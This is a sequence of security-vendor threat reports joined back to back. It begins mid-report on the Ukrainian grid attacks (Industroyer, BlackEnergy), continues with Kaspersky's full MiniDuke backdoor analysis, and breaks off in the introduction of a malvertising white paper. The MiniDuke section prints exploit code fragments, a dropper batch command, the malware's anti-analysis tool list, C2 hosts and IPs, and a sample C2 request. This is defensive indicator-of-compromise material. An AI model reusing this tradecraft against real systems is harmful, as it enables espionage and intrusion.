The malware was compiled several times between June 2016 and end of October 2016.
Concerning identified targets here is the list: A company that designs remote monitoring systems for oil  gas pipeline infrastructures.
An international organization that monitors human rights, counter-terrorism and cyberattacks on critical infrastructure in the Ukraine.
An engineering company that designs electrical substations, gas distribution pipelines, and water supply plants.
A scientific research institute.
Editors of Ukrainian newspapers.
The assumption linking this malware and the attack is based on these targets mainly located in Ukraine and linked to energy but also due to techniques used like the reflective DLL injection (loading malicious code without calling the normal Windows API calls) which was used during the first attack.
Another hint comes from the compilation time.
2015 INCIDENT 2016 INCIDENT 12 ICS CyberVision continuously listen communications between devices on the OT network and extract meaningful data.
Those data are then used to create a behavorial template of the OT network which is then used as a white list to detect anomalies.
ICS CyberVision use IA algorithms to caracterise and prioritize those anomalies in order to eliminate false positive and facilitate the remediation process.
In addition scripts from Sentryo Security Labs are provided to ICS CyberVision users.
These scripts use the CyberVision Center API to mine their CyberVision installations to check for some Indicators of Compromise (IOC).
In the case of organization is in the energy sector and may have been targeted by this new Black Energy campaign or the latest Grizzly Steppe (see the DHS report), we strongly encourage them to run these scripts and check their ICS.
Moreover, if ICS CyberVision had been deployed inside the process and control networks of an Energy corporation, it would have detected several weak signals enabling the local team to stop the attacks early: Regarding Black Energy, ICS CyberVision would have detected unknown connections to a remote Internet website (the CC channels).
These connections would have been seen as a change compared to the baseline (a set of given network behaviors) defined by plant operators.
Regarding Industroyer/CrashOverride, ICS CyberVision would have detected any new connections to a remote Internet website (the CC channels), and also new and strange behaviours on the OT networks like multiple OT network scans and critical OT communications like orders.
Regarding the Disakil wiper, ICS CyberVision would have detected the disappearance of TCP connections between the SCADA stations and the PLCs / RTUs.
The defined baseline includes these connections and the fact that they stopped being active would have automatically been detected as a change by the difference engine.
Regarding the breaker manipulation, ICS CyberVision would have analysed IEC 101 (serial over ethernet) flows and detected the order to open up the breaker and to switch off power.
CyberVision would help to trace down the hackers to particular infected machines.
Regarding the Siemens safety equipment DoS vulnerability used by Industroyer (CVE-2015-5374), it will be detected by ICS Cybervision thanks to its Knowledge Database.
Back in 2015, Siemens provided a firmware update fixing this issue.
It is even more important today to patch these equipments.
Our solution can help by clearly identifying the potentially affected devices in the network.
The only vector which would have remained undetected by ICS CyberVision is the dropper i.e.
an Excel spreadsheet or Word document in later case.
It is the responsibility of an email gateway or an endpoint protection software to detect such attack vectors.
The malware could also have been inserted via a malicious USB drive and only endpoint protection software can prevent these attacks.
Since Stuxnet, the malware Industroyer / CrashOverride is the first advanced and targeted industrial malware we have seen with this level of maturity.
From a defense point of view, this malware also shows the need for an ICS network security monitoring capability to be able to detect these advanced attacks early in the kill chain.
SENTRYO ICS CYBERVISION OFFERS AN OT MONITORING SOLUTION THAT PROVIDES AN OPERATIONAL CAPACITY TO PREVENT, DETECT AND RESPOND TO CYBERAT TACKS.
13 Lets have look at the kill chain and the malware impact.
This is important because investigations are still ongoing and some information may have not been communicated.
Because of this, Phase 1 and part of the Phase 2 are pure assumptions using our experience and external claims: PH AS E 3 PH AS E 2 PH AS E 1 ACTIVE BREACH INTRUSION PREPARATION 6.
COMMAND  CONTROL (CC OR C2)   communicate regularly with the CC (the active period can be configured) 7.
ACTIONS AND OBJECTIVES   scan the network using embedded payloads and configuration files dropped by the CC detect any breaker turn it off and use the wiper.
3.
DELIVERY   probably an email with a link or an attachment to the dropper 4.
EXPLOITATION   find and exploit a vulnerability on the victims computer to be able to install the malware 5.
INSTALLATION   install the malware as a non-critical Windows service program and install a new malicious Microsoft Notepad program 1.
RECONNAISSANCE   harvesting for email industrial protocol used and target proxy configuration 2.
WEAPONIZATION   development of the malware including the dropper, industrial payloads, the backdoor, the wiper and the CC server 14 Todays cyber attacker is several steps ahead of the defender.
This is especially so in the case of a single operator trying to defend against a state resourced APT attacker.
This is an unfair match, similar to a high-school soccer teams chances of defeating a FIFA World Cup contender.
It is no contest unless the school teams capabilities are significantly enhanced.
It is important to realize that the operator- defender has a complex task of managing and protecting increasingly interconnected and sophisticated systems enabled with the latest advances in information and communications technologies (ITC).
Technologies that in addition to providing new features and possibilities for remote management and control also introduce vulnerabilities for an adversary to exploit.
The operator now faces a difficult challenge in managing systems that are vulnerable to not only intentional but also unintentional cyber incidents.
Incidents that result from errors in managing interconnected and complex systems.
The attacker needs only to find a single weakness in the design or exposed vulnerability in order to defeat all the wide-ranging efforts of the defender.
In order for the operator of critical infrastructure to avoid becoming an isolated target for an adversary that often is several steps ahead of the defender he must improve his relationship among operators of critical infrastructure, manufacturers, academia and Government institutions responsible for cybersecurity.
The aim should be in setting up a mechanism that will facilitate the timely sharing of information on cyber threats, coordinating a response to an incident and sharing lessons learned.
At the local level, National cybersecurity councils that represent the communities of interest (CoI) should be created as a first step in setting up a national cybersecurity capacity for protecting critical infrastructure from these advanced and persistent threats from cyberspace.
This is not an easy task since fear of lawsuits, embarrassment and concerns for confidentiality often make operators as well as manufacturers of control equipment reluctant to share the information needed to enhance resilience and enhance recovery capabilities.
This lack of sharing can only contribute to making defenders more isolated and less aware of the significance of the problem.
In addition to the high level National council a working level network for timely sharing of threat information and lessons learned should be created for dealing with immediate issues and facilitating coordinated effective response in times of emergency.
In summary it is only through cooperation and sharing of information among a community of interest that an operator-defender can hope to deal with todays advanced and persistent threats emanating from cyberspace.
2.
The views expressed by V. Butrimas are for NATO, NATO member countries, NATO partners, related private and public institutions and related individuals.
These views do not represent the opinions or policies of NATO or NATO ENSEC COE or any other institution.
The views presented in the articles are those of the authors alone.
BY VYTAUTAS BUTRIMAS - SUBJECT MAT TER EXPERT, RESEARCH AND LESSONS LEARNED DIVISION, NATO ENERGY SECURITY CENTER OF EXCELLENCE2 15 THIS CASE DEMONSTRATES THAT IS VERY HARD TO: COLLECT ENOUGH DATA TO HAVE A DEEP TECHNICAL UNDERSTANDING OF THE HACKERS TECHNIQUES AND TACTICS, ESTABLISH THE IDENTITY OF THE DIFFERENT ACTORS, KNOW IF THE CYBERAT TACK WAS SPECIFICALLY BUILT TO IMPACT ONLY THIS INDUSTRIAL FACILITY, MAKING THE DIFFERENCE BETWEEN FACTS AND CLAIMS.
The case also demonstrates the absolute need for a monitoring capability on such ICS systems.
Indeed, this kind of attack is quite hard to avoid when your IT network has been infected.
Nevertheless, with adapted tools, hints of attack and / or compromission on the industrial network can be detected in order to prevent and / or mitigate the attack as soon as possible.
Everyone reading cybersecurity reports must keep in mind that Ukraine is at war with Russia.
This tense international context probably explains the large number of different statements made by the Ukrainian and Russian governments.
In any case, this cyberattack should not be seen as a new Stuxnet.
Black Energy is a quite old malware.
No zero-day (i.e.
unknown attack vector) was used.
The destruction payloads, even if they are very impactful, are quite trivial without a fine-grained PLC reprogrammation.
This attack underlines the extreme weakness of OT components which were never designed with maliciousness in mind.
As always, the Sentryo security team is deeply involved in the identification and analysis of the latest industrial threat vectors.
We will follow  the ongoing investigation related to the Ukraine attack.
16 FROM THE FOREWORD Critical Infrastructure: refers to assets of physical and computer-based systems that are essential to the minimum operations of an economy and its government.
They include telecommunications, energy, banking and finance, transportation, water systems and emergency services, both government and private.
http://www.infracritical.com/?page_id73 Langner, R., To Kill a Centrifuge, http://www.langner.com/en/wp-content/uploads/2013/11/ To- kill-a-centrifuge.pdf Rashid, F., Inside The Aftermath Of The Saudi Aramco Breach, Dark Reading, 8/8/2015 http://www.darkreading.com/attacks-breaches/inside-the- aftermath-of-the- saudi-aramco-breach/d/d-id/1321676 Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E) US ICS-CERT https://ics-cert.us- cert.gov/alerts/ICS-ALERT- 14-281- 01B Original release date: December 10, 2014 Sandworm and SCADA, Trend Micro http://blog.trendmicro.com/sandworm-and-scada/ October 16, 2014 The State of IT Security in Germany 2014, Federal IT Department (BSI) Germany.
p. 31.
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/ Publications/Securitysituation/IT-Security-Situation-in- Germany- 2014.pdf?__blobpublicationFileampv3 FIRST INCIDENT REPORTS http://www.oe.if.ua/showarticle.php?id3413 http://briz.if.ua/33432.htm SECOND INCIDENT REPORTS http://www.ukrenergo.energy.gov.ua/pages/en/detailsnew.
aspx?nid3387 http://www.reuters.com/article/us-ukraine-cyber-attack- energy-idUSKBN1521BA INTECH / ISA ANALYSIS InTech, March/April 2017 issue, special section Cybersecurity, a publication of the International Society of Automation wwww.isa.org/intech DETAILED ANALYSIS http://www.welivesecurity.com/2016/01/03/blackenergy- sshbeardoor-details-2015-attacks-ukrainian-news-media- electric-industry/ http://www.symantec.com/connect/blogs/destructive- disakil-malware-linked-ukraine-power-outages-also-used- against-media-organizations http://www.welivesecurity.com/2016/01/20/new-wave- attacks-ukrainian-power-industry/ https://securelist.com/blog/research/73440/blackenergy- apt-attacks-in-ukraine-employ-spearphishing-with-word- documents/ https://www.sentinelone.com/wp-content/ uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf https://ics.sans.org/blog/2016/01/09/confirmation-of-a- coordinated-attack-on-the-ukrainian-power-grid https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01 https://ics.sans.org/duc5 http://www.reuters.com/article/us-ukraine-cyber-attack- energy-idUSKBN1521BA https://motherboard.vice.com/en_us/article/there-will- always-be-internet-outages-so-buckle-up https://www.youtube.com/watch?vlTwsDLO3C44 https://motherboard.vice.com/en_us/article/who-hacked- the-lights-in-ukraine CLAIMS http://www.theregister.co.uk/2016/01/27/ukraine_ blackenergy_analysis/ https://cyberx-labs.com/en/blog/operation-bugdrop- cyberx-discovers-large-scale-cyber-reconnaissance- operation/ http://in.reuters.com/article/ukraine-crisis-cyber-attacks- idINKBN1491QI IOC http://cert.gov.ua/?p2464 GCAT CC CONTROL USING GMAIL https://github.com/byt3bl33d3r/gcat NATO CCD COA https://ccdcoe.org/multimedia/cyber-war-perspective- russian-aggression-against-ukraine.html GRIZZLY STEPPE DHS https://www.us-cert.gov/sites/default/files/publications/ JAR_16-20296A_GRIZZLY20STEPPE-2016-1229.pdf BLACKHAT 2016 TALK Author: Geers Cyber War In Perspective Analysis From The Crisis In Ukraine Marina Krotofil at s4x17 Miam introducing the attack and the talk from Oleskii Yasinskiy: https://www.youtube.com/watch?vlTwsDLO3C44 Oleskii Yasinskiy from http://www.issp.ua/ https://www.youtube.com/watch?v3uPvps3l1Yc VSEVOLOD KOVALCHUKS FACEBOOK STATEMENT FOLLOWING THE SECOND ATTACK ICS-CERT ALERT (TA17-163A) CRASHOVERRIDE MALWARE https://www.us-cert.gov/ncas/alerts/TA17-163A THE COMPLETE ESET REPORT https://www.welivesecurity.com/2017/06/12/industroyer- biggest-threat-industrial-control-systems-since-stuxnet/ THE DRAGOS REPORT https://dragos.com/blog/crashoverride/CrashOverride-01.pdf Other sources are confidential.
18 19 66 Boulevard Niels Bohr Btiment CEI 1 CS 52132 69603 Cedex, Villeurbanne 09 70 75 34 80 www.sentryo.net sentryo
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor (or how many cool words can you fit into one title) Authors: Costin Raiu, Igor Soumenkov, Kurt Baumgartner, Vitaly Kamluk Global Research and Analysis Team, Kaspersky Lab On Feb 12th 2013, FireEye announced the discovery (http://blog.fireeye.com/research/2013/02/the-number-of-the- beast.html) of an Adobe Reader 0-day exploit which is used to drop a previously unknown, advanced piece of malware.
We called this new malware ItaDuke because it reminded us of Duqu and because of the ancient Italian comments in the shellcode copied from Dante Aligheris Divine Comedy.
Since the original announcement, we have observed several new incidents using the same exploit (CVE-2013-0640), some of which were so unusual that we decided to analyze them in depth.
Together with our partner CrySyS Lab, weve performed a detailed analysis of these new incidents which indicate a new, previously unknown threat actor.
For their analysis, please read http://blog.crysys.hu/2013/02/miniduke/ .
For our analysis, please read below.
First of all, while the fake Mandiant PDF reports (see http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt- report.html?utm_sourcefeedburnerutm_mediumfeedutm_campaignFeed3ASeculertResearchLab(SeculertResearc hLab)) are just dirty hacks of the original exploit, these newer attacks appear to have been created by a 0-day toolkit that was used to build the original Visaform Tukey.pdf discovered by FireEye.
http://blog.fireeye.com/research/2013/02/the-number-of-the-beast.html http://blog.fireeye.com/research/2013/02/the-number-of-the-beast.html http://blog.crysys.hu/2013/02/miniduke/ http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_sourcefeedburnerutm_mediumfeedutm_campaignFeed3ASeculertResearchLab(SeculertResearchLab) http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_sourcefeedburnerutm_mediumfeedutm_campaignFeed3ASeculertResearchLab(SeculertResearchLab) http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_sourcefeedburnerutm_mediumfeedutm_campaignFeed3ASeculertResearchLab(SeculertResearchLab) The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor The new PDF attacks drop fake documents that are shown to the victim if the exploit is successfully executed.
The documents refer to a human rights seminar (ASEM) and Ukraines foreign policy and NATO membership plans: Document used against the Hungarian target The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Document used against the Belgian target The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Document used against the Luxemburg target The MD5s for the documents used in this attack are: 3668b018b4bb080d1875aee346e3650a action_plan.pdf (Country: Belgium) 88292d7181514fda5390292d73da28d4 ASEM_seminar.pdf (Country: Hungary) 3f301758aa3d5d123a9ddbad1890853b EUAG_report.pdf (Country: Luxembourg) 0cdf55626e56ffbf1b198beb4f6ed559 report.pdf (Country: Spain) cf5a5239ada9b43592757c0d7bf66169 EUAG_report.pdf (Country: Belgium) c03bcb0cde62b3f45b4d772ab635e2b0 The 2013 Armenian Economic Association.pdf (Country: Belgium) The JavaScript exploit code has been modified since the original attack.
For instance, the function named oTHERWISE was renamed to q1w2e3r4t.
The function is later called in the code like this: New exploit: var sCIENZA  q1w2e3r4t(vOLENCI[sHOGG(ODNEDNERp,3329,7937)], gIRARSI) Older (Visaform Turkey.pdf) exploit: The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor var sCIENZA  oTHERWISE (vOLENCI[pRENDENDO], gIRARSI) In addition, the JS code is now in compressed format, while the original sample had it in plaintext.
The reason behind the changes is probably to avoid detection by anti-malware products although this doesnt prevent our product from detecting it heuristically as HEUR:Exploit.
Script.
Generic.
The shellcode contained in the PDF document is similar to that used in the documents carrying the Itaduke payload, with some differences.
For instance, after exploiting the vulnerability, it searches for a specific signature within the PDF file.
While the Itaduke shellcode was looking for H2bYm.
Sw, the MiniDuke version uses a different signature, 34fZ7Ep\.
Signature in the Itaduke PDF file Signature in the Miniduke PDF file Once the payload signature is found, it is decrypted with XOR and then decompressed using RtlDecompressBuffer API (LZNT1).
The resulting PE file is written to a temporary file and loaded using LoadLibary API.
The resulting dynamic library implements the second stage of installation.
It contains two binary resources, 101 and 102.
Resource 101 is the main backdoor DLL component.
It is written to the AppData directory and loaded using LoadLibary API.
Resource 102 is the decoy PDF document.
It is written to the Internet cache directory and then opened using a simple BAT file: TASKKILL /F /IM acro ping -n 1 127.0.0.1nul start  path to decoy PDF document The filenames of the dropped files are hardcoded in their resources.
Beginning of the resource 101 with its filename Beginning of the resource 102 with its filename Interestingly, the malware dropper contains the following paths: c:\src\dlldropper\Release\L2P.pdb.
C:\src\hellodll\Release\hellodll.pdb.
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor These paths did not exist in the dropper of original PDF (Visaform Turkey.pdf).
If we are to trust the PE headers, the dropper was compiled on Feb 20, 2013: Hungarian dropper compilation time - Feb 20 10:51:16 2013 The backdoor used in the Hungarian case was compiled on Feb 20 10:57:52 2013, just minutes after the dropper was created.
Perhaps the most unusual thing about these three new attacks is the malware they drop.
In all the analyzed cases, the dropped malware is in the form of a 22,528 bytes DLL file.
Parts of the malicious DLL file are encrypted with information related to the system configuration, which ensures it will only work properly on the victims system.
If copied to another computer, the malware will be unable to function successfully.
The backdoor is written in old school assembler and is tiny by current standards - only 20 KB.
This is most unusual for modern malware, which can be several megabytes in size.
It has a small decryptor at the beginning that decrypts the main body.
All three cases use different encryption keys.
Another peculiarity is that the backdoor has no imports: all functions are scanned from memory and are called dynamically.
It is also interesting that the first two Win32 APIs resolved and called by the unpacking stub are ntdll.
LdrLoadDll and kernel32.VirtualProtectEx.
These two functions are not called according to the _stdcall convention.
Instead, a jmp ebx instruction is executed after manually building the stack.
Clearly some thought went into creating anti-emulation and anti-scanning techniques with this malware.
Backdoor analysis The backdoor has a single export, which for instance is named JorNgoq in the Hungarian case.
When this export is called at load, the backdoor sets the .rdata sections permissions to RWX and sets the mutex to a hardcoded string nljhfdb.
The entrypoint of the library (DllMain) is obfuscated and the main body of the malware is encrypted.
The encryption is rather simple: the .rdata section of the library is ROLed with a linear key and XORed with a fixed key.
Both keys are derived from the length of the encrypted part.
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Decryption loop in the obfuscated code.
0x4522 is the actual size of the encrypted part Once finished decrypting, the library proceeds to the real main function.
The main part of the library is written in Assembler, in an old-school manner typical for low-level viruses.
The code is position independent it has no imports and resolves API function addresses by hash values of their names.
.
Typical low-level malware programming style: passing strings as parameters via call, addressing API functions by hash values The backdoor maintains seven call addresses that each maintain their own block of functionality.
The first block calls GetAsyncKeyState twice, checking for a mouse click, which indicates user activity in the system.
The second block searches for all .exe and .dll files located in the temp directory.
The third block fetches information about the infected system with calls to gather information about the CPU, drive and the computername - these are used to decrypt the backdoors main body, which is custom encrypted for each unique victim.
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor The fourth block attempts to maintain self-protection from malware analysis.
Below is the list of tools (and VMware) that it attempts to identify and protect against.
It fetches the list of running processes on the system and attempts to identify if these tools are among them: apispy32.exe, apimonitor.exe, winapioverride32.exe, procmon.exe, filemon.exe, regmon.exe, winspy.exe, wireshark.exe, dumpcap.exe, tcpdump.exe, tcpview.exe, windump.exe, netsniffer.exe, iris.exe, comview.exe, ollydbg.exe, windbg.exe, odb.exe, ImmunityDebugger.exe, syser.exe, idag.exe, idag64.exe, petools.exe, vboxtray.exe, vboxservice.exe, procexp.exe, vmtools.exe, vmwaretray.exe, vmwareuser.exe If any of the tools above are detected on the system, the malware will continue running on the system without further decrypting its code and exhibiting any other functionality.
This will prevent it from doing any outbound communications with Twitter accounts, as described below.
In other words, it will attempt to appear non-functional, especially to automated analysis, hiding its true nature behind its layers of encryption.
User agent strings for web browsers like Opera, Mozilla and Internet Explorer are decrypted and used for all Internet access.
Oddly, there are Linux versions included as well: (Windows NT 5.1 (Windows NT 6.0 (Windows U Windows NT 5.2 (X11 Linux i686 (X11 Linux x86_64 (compatible MSIE 6.0 Windows NT 5.0 (compatible MSIE 7.0 Windows NT 6.0 (compatible MSIE 9.0 Windows NT 6.1WOW64) Trident/4.0) Trident/5.0)  WOW64 Trident/5.0)  SV1) ) The fifth and sixth code blocks are most interesting.
They calculate the SHA1 of main system information which will be used in the C2 interaction later.
Following the SHA-1 hash generation, the backdoor will base64 encode its unique hash for later C2 communication.
The malware is activated upon reboot of the infected machine.
To gain control at boot, it writes a randomly named LNK file to the startup folder, which in turn calls the main body using rundll32: The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor In the picture above, the malwares main body is stored as stat.bin (a randomly selected name) in the Adobe folder.
The LNK file calls it only exported function, ImqRgno.
Once activated, the malware will first contact Twitter and look for posts from some very specific accounts.
These accounts should have posted an encrypted string which contains the magic identifier uri, then an encrypted c2 string.
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor We presume many other Twitter accounts exist with similar parameters.
The encrypted uri holds a different c2 for each version of the malware: Attack location Command  control server C2 IP / location path on C2 The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Hungary arabooks[dot]ch 194.38.160.153 / Switzerland /lib/index.php Luxemburg artas[dot]org 95.128.72.24 / France /engine/index.php Belgium tsoftonline[dot]com 72.34.47.186 / United States /views/index.php (Multiple) www[dot]eamtm[dot]co m 188.40.99.143 / Germany /piwik/web/index.php Its most likely that these websites have been hacked by the attackers and injected with the command and control PHP script.
Secondly, the malware will connect to www.geoiptool.com to obtain information about the victims location.
Interestingly, the backdoor has another update/c2 functionality.
It searches Google for a very specific string: The string lUFEfiHKljfLKWPR which the malware seeks on Google The pages found by the Google search may hold an update uri similar to the one from Twitter.
We can assume the attackers wanted to have a second channel for updates in case the Twitter accounts are closed.
http://www.geoiptool.com/ The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Stage 2 The index.php on the C2 serves a fake GIF file to the victim, depending on the parameters it receives.
Heres what one of these GIF files looks like: Heres one example of a malicious request for the C2 domain arabooksdotch: arabooks.ch/lib/index.php?iaTJ2b7uzMuh4fnt2n7aJisckAj6pEvkLPPsmk5gC77rPeYKmj8z58UWS1szY0FGzkp[REMOVED]lhUDx vzo1_IpYHfDI2MTg2NTM5OTF8MS4xMw The picture from the GIF file is actually very small and reminds us of the method used by Duqu back in 2011 to hide data, known as steganography: At offset 0x6a4 inside the GIF file, there is a hidden encrypted PE file.
The encryption scheme used a DWORD key also stored in the GIF file that is rotated.
Effectively, this translates to an 8 byte long XOR key.
The resulting encryption key used in the Hungarian attack for instance is 0xD2, 0x2A, 0xA2, 0x27, 0x79, 0x95, 0x52, 0x2D.
In the Belgian attack, it is 0xC5, 0x5E, 0xEE, 0xE5, 0x51, 0x11, 0x17, 0x7C.
For the Luxemburg attack, the key is 0x91, 0x18, 0x8C, 0xC1, 0x1C, 0xC9, 0x9C, 0xC9.
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Decrypted payload from the fake GIF file served by the C2 The decrypted PE file (plugin / payload) is also written in assembler and, once again, it is encrypted with the same algorithm as the backdoor originally deployed in the system.
We refer to it as stage 2.
The main backdoor body saves the plugin with different names, for instance, it can be xml.dat and tries to run its only export using rundll.
In our case, this didnt appear to work very well: The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Several different variants of the 2nd stage backdoors have been observed on the C2 they all perform similar functions but are encrypted with different keys and contact different C2s.
Command  control server information The malware connects to several C2s depending on the information available on the control Twitter accounts or on Google.
For instance, on artasdotorg it connects to /engine/index.php.
Interestingly, the img subfolder allows listings and we can see several variants of the backdoor encrypted as GIF files: The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor On tsoftonlinedotcom, the folder has the same structure: Interestingly, on tsoftonlinedotcom we have several other files with different kind of names and sizes.
They are larger and follow a different naming scheme: number.gif.
We believe they are custom backdoors delivered only to specific victims by the attackers.
We refer to these as stage 3.
The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Stage 3 While we were analyzing the samples, the attackers connected to the C2 and added a custom backdoor as 1109821546.gif: http://tsoftonline.com/views/img/1109821546.gif HTTP/1.1 200 OK Date: Mon, 25 Feb 2013 12:34:13 GMT Server: Apache Last-Modified: Mon, 25 Feb 2013 10:59:49 GMT ETag: 7c8251-5190d-4d68a708d9340 Accept-Ranges: bytes Content-Length: 334093 Content-Type: image/gif This custom backdoor, referred to as stage 3, is much bigger than the previous ones  300K in size.
This is because the attackers used large layers of obfuscation code, including UCL compression.
So far, we have observed two variants of the 300K stage 3 backdoor.
The PE compilation timestamp for both is Mon Jun 18 17:28:11 2012.
The number 1109821546 in the filename refers to the unique victim ID.
In this case, we were able to determine that the victim is based in Portugal.
The backdoor connects to the following C2 for instructions: news[dot]grouptumbler[dot]com/news/feed.php IP: 200.63.46.23 It supports several commands, such as copy file, move file, remove file, make directory, kill process and of course, download and execute new malware.
The server at 200.63.46.23 is hosted in Panama: The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor We presume that it was hacked by the attackers and is currently used as a command server for the attacks.
MD5 hashes for the known Stage 3 backdoors: 1e1b0d16a16cf5c7f3a7c053ce78f515 v1.ex_ 53db085a276ebbf5798ba756cac833ea  v2.ex_ In addition to the 300K stage 3 backdoors, weve observed a 13K module (MD5: 6bc34809e44c40b61dd29e0a387ee682).This module will connect to an IP in Turkey, get the response, decrypt it in memory and execute it.
The C2 is: 85.95.236.114 The module has a compilation timestamp of Tue Nov 13 14:30:12 2012.
Map of victims The C2s maintain a detailed, encoded log of the victims connecting to the servers.
The logs are available to anyone who knows the exact filename.
By collecting the logs from all the known command servers, weve discovered connections from several high profile networks belonging to: Country Network Ukraine Government, Private company Belgium Possible Embassy / Government Portugal Government Romania Government The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor Czech Republic Government Ireland Government United States Think tank(s), Research institute, Healthcare provider Hungary Social foundation By analyzing the logs from the command servers, we have observed 59 unique victims in 23 countries: Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania, Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, Ukraine, United Kingdom and United States.
The amount of high profile victims in this attack is notable and puts it on the same level with other advanced campaigns such as Red October.
Mitigation and recommendations To protect against these attacks, we recommend that you: Update Java to the latest version or simply remove it from the system if not used Update Microsoft Windows and Office to the latest versions Update Adobe Reader to the latest version (see https://www.adobe.com/support/security/bulletins/apsb13-07.html) Block traffic to the following domains: arabooks.ch artas.org tsoftonline.com www.eamtm.com news.grouptumbler.com Block traffic to the following IPs: 200.63.46.23 194.38.160.153 95.128.72.24 72.34.47.186 188.40.99.143 85.95.236.114 Install a security solution capable of detecting these threats such as Kaspersky Internet Security 2013 and scan all emails and received documents Be wary of opening suspicious documents on your systems instead, use another computer without an Internet connection, a VM, or upload the document to Google Docs for viewing In addition, infected PDFs contain the following string, which can be used as a quick way to find them: 34fZ7Ep\ Conclusions Based on our experience, this is a unique and very strange attack.
The many different targets hit in separate countries, together with the high profile appearance of the decoy documents and the weird backdoor functionality indicate an unusual threat actor.
Some of the elements remind us of both Duqu and Red October, such as the minimalistic approach, hacked servers, encrypted channels but also the typology of the victims.
https://www.adobe.com/support/security/bulletins/apsb13-07.html http://www.eamtm.com/ The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor The backdoor coding style reminds us of a malware writing group which is believed to be extinct: 29A.
The value 29A in hex means 666, and perhaps not unsurprisingly, was also left by the attackers as a clue in the code: The 29A / 666 clue left in the code by the attackers 29A published their first malware magazine in December 1996 and were active until February 2008, when Virusbuster, the last standing man announced the groups dismissal.
The logs from the Command  Control servers indicate determination and quite a bit of success in compromising several high profile entities in various countries.
The stage 3 compilation timestamps indicate the attacker has been active for quite a while but still managing to remain undetected.
Perhaps one of the most important questions is: are these attacks related to the Itaduke attack that prompted the discovery of the PDF 0-day?
Or is it a separate entity that purchased the attack kit from the same source, which has a different agenda?
Or, is it perhaps another threat actor which captured the 0-day exploit and modified it for other purposes?
Unfortunately, there are still many unanswered questions.
Note: We detect the malware described here as HEUR:Backdoor.
Win32.MiniDuke.gen, Backdoor.
Win32.Miniduke while the documents with exploits are detected as Exploit.JS.Pdfka.giy.
References: In Turn its PDF Time http://blog.fireeye.com/research/2013/02/in-turn-its-pdf-time.html Duqu: Steal everything http://www.kaspersky.com/about/press/duqu http://blog.fireeye.com/research/2013/02/in-turn-its-pdf-time.html http://www.kaspersky.com/about/press/duqu
Invincea White Paper Invincea White Paper Invincea, Inc. Micro-Targeted Malvertising via Real-time Ad Bidding UPDATED: Includes New CryptoWall Malvertising Campaign Release date: October 27, 2014 DETECTION  PREVENTION  INTELLIGENCE 1 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Table of Contents Executive Summary ............................................................................................................... 2 Introduction .......................................................................................................................... 3 Operation DeathClick: Targeting the US Industrial Base ...................................................................4 Summary for Incident at Fleaflicker.com .........................................................................................4 Summary for Incident at Gpokr.com ...............................................................................................9 Summary for Webmail.earthlink.net ............................................................................................. 11 Summary of Incidents in Operation DeathClick  ............................................................................. 13 Real-Time Bidding Networks: How it works .......................................................................... 13 Malvertisers have Weaponized RTB  ............................................................................................. 16 Competitive Service Offerings for RTB  .......................................................................................... 16 Major Players in RTB .................................................................................................................... 20 How Malvertisers Get  to Bid on RTB ......................................................................................... 21 Where Malvertisers Host Exploits ................................................................................................. 22 Real World Examples of RTB Malvertising Captured by Invincea .................................................... 23 Ransomware Campaign via Malvertising ............................................................................. 26 Analysis of CryptoWall Malvertising Infections .............................................................................. 27 Central Hosting of Clean Content ......................................................................................... 30 How to Protect Yourself  from Micro-targeted Malvertising ................................................. 31 Release Notes ...................................................................................................................... 32 2 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Executive Summary Most targeted attacks against organizations originate as spear-phish campaigns or watering hole style web driveby attacks.
Within the last six months, Invincea has discovered and stopped targeted malvertizing attacks against specific companies -- particularly those in the Defense Industrial Base.
The combination of traditional cyber crime methods (malvertising) with targeted attacks against Defense industrials for theft of IP represents another development in the on-going blending of techniques from cyber crime and advanced threat actors with nation state agendas.
We are tracking an on-going campaign against US Defense companies under the code name Operation DeathClick.
Traditional malvertizing has been an effective but indiscriminate method cyber crime gangs use to compromise endpoints to perpetrate ad fraud, identity fraud, and banking credential theft.
In this new targeted variation of malvertizing, the perpetrators are attacking specific organizations by leveraging real- time ad bidding networks and micro-targeting techniques developed over the last decade in online advertising.
The objective of these micro-targeted attacks against the Defense sector is likely theft of Intellectual Property more than ad fraud and indicates motive and sophistication characteristic of advanced threat actors.
